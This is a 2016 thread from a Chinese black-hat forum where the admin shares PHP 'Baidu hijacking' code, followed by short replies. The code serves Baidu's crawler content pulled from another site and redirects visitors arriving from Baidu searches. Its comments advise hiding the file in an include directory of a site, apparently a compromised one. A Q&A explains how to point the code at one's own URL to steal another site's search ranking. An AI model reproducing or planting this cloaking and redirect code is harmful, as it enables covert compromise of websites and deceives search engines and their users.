黑帽联盟
标题:
最新百度搜索引擎php劫持代码
[打印本页]
作者:
admin
时间:
2016-10-9 23:16
标题:
最新百度搜索引擎php劫持代码
<?php
################################################
# 可以把本文件放在类似inc、include这样的目录中 #
# 首页require_once('本文件路径');就可以了 #
# 这样会比较隐蔽 #
################################################
if (ereg("http://www.baidu.com/search/spider.htm", $_SERVER["HTTP_USER_AGENT"])) {
//判断搜索引擎,这里是百度,可以自行添加蜘蛛
/*
Header("HTTP/1.1 301 Moved Permanently");
Header("Location:
https://bbs.cnblackhat.com/
");
//这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话...
*/
$file = file_get_contents('https://bbs.cnblackhat.com/forum.php');
echo $file;//输出指定文件内容
exit;
}
//判断来路
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {//如果用户来自baidu.com
//Header("HTTP/1.1 301 Moved Permanently");//301跳转,也可以不用301,直接跳转,301状态码主要针对搜索引擎使用
Header("Location:
https://bbs.cnblackhat.com/
");//跳转
exit;
}
?>
举例个例子,如果我要劫持到
http://www.yunrank.cn/
,关键词劫持我想要2个,云排名 和 云优化这两个,请问代码要修那几处,除了代码修改,还需要准备哪些文件。
答:
首先这个代码不是是说用来劫持某个或者某几个关键词,你只要把代码中的bbs.cnblackhat.com替换成你希望做SEO的地址就可以了,比如你说的
http://www.yunrank.cn/
,还有倒数第四行的地址也改成你的
http://www.yunrank.cn/
,这样就行了。所实现的功能就是,当百度蜘蛛爬到站点A当中时,我们通过这段代码判断出来是百度蜘蛛来访,所以把我们的设定好的内容(第十四行)给蜘蛛看,因为这个站点的权重高,所以如果百度抓取了这个快照的话,当我们下次搜索这个关键词的话,这个快照就将会排在较靠前的位置(根据站点A的权重决定),而当来自百度搜索的用户点击这个链接的时候,我们同样是通过这段代码判断出来的,所以跳转到我们希望让用户看到的页面。
php代码中双斜杠(//)和/*、*/中间的内容都是注释,比如针对百度蜘蛛所采取的动作,其实你可以选择让蜘蛛看特定的内容,或者直接301跳转到你的页面(传递搜索引擎权重),具体采取哪种方式根据自己的需要,注释掉相应的内容即可。
作者:
爱琢磨
时间:
2016-10-16 11:37
作者:
xzccm87
时间:
2016-10-26 02:11
看的不是很明白 怎么办
作者:
admin
时间:
2016-10-26 09:03
xzccm87 发表于 2016-10-26 02:11
看的不是很明白 怎么办
学些php
作者:
bt8059
时间:
2016-10-26 18:54
很好很强大
作者:
guirizi001
时间:
2016-10-28 11:15
谢老大分享,说得太清晰明了了!
作者:
wa52422
时间:
2016-11-23 22:44
不错
作者:
yaoyao123
时间:
2017-3-31 15:26
水平不够完全不懂
作者:
璀璨李0804
时间:
2017-8-5 14:09
看起来有些吃力,感觉视频类教程才是我的正道。
欢迎光临 黑帽联盟 (https://bbs.cnblackhat.com/)
Powered by Discuz! X2.5